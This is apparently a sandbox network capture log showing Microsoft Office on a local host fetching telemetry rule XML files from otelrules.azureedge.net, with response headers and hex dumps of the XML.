2024-12-02 16:57:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:00 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 6460b669-f01e-00aa-725a-448521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165700Z-174f7845968xlwnmhC1EWR0sv800000014g000000000mh06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:00 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:00 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:00 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9fe3a977-e01e-0099-5cb4-42da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165700Z-174f7845968n2hr8hC1EWR9cag00000014cg0000000093bb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:01 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:01 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:01 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: aae3b9cd-c01e-0079-6bb3-42e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165701Z-174f7845968n2hr8hC1EWR9cag00000014dg000000005bcx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:01 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:02 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: f4a7b183-b01e-0098-27d5-43cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165702Z-174f7845968psccphC1EWRuz9s00000014vg00000000tvkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:02 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:01 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:02 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: ae63cf80-d01e-00ad-1daa-42e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165702Z-174f7845968frfdmhC1EWRxxbw00000014pg00000000rt1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:02 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:02 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:02 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 1318377f-c01e-0034-12b7-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165702Z-174f7845968kvnqxhC1EWRmf3g0000000rcg00000000wg7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:02 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:02 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:03 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: fc0d267c-101e-0079-0929-415913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165703Z-174f7845968nxc96hC1EWRspw800000014b000000000uyu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:03 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:03 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:04 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 44412a51-001e-000b-14c5-4315a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165704Z-174f78459685726chC1EWRsnbg00000014qg00000000p8yr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:04 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:03 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:04 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 22785ae5-e01e-0003-78b2-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165704Z-174f7845968vqt9xhC1EWRgten00000014p000000000tc24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:04 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:04 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:04 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 562f2249-001e-0028-5dab-42c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165704Z-174f78459685m244hC1EWRgp2c00000014hg00000000deg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:04 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:04 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:04 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 21a32f9a-a01e-003d-21b4-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165704Z-174f7845968kvnqxhC1EWRmf3g0000000rhg000000009qy8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:05 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:05 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:05 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 5e2e43e0-a01e-0002-3ba3-435074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165705Z-174f7845968pght8hC1EWRyvxg00000007x000000000778x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:05 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> 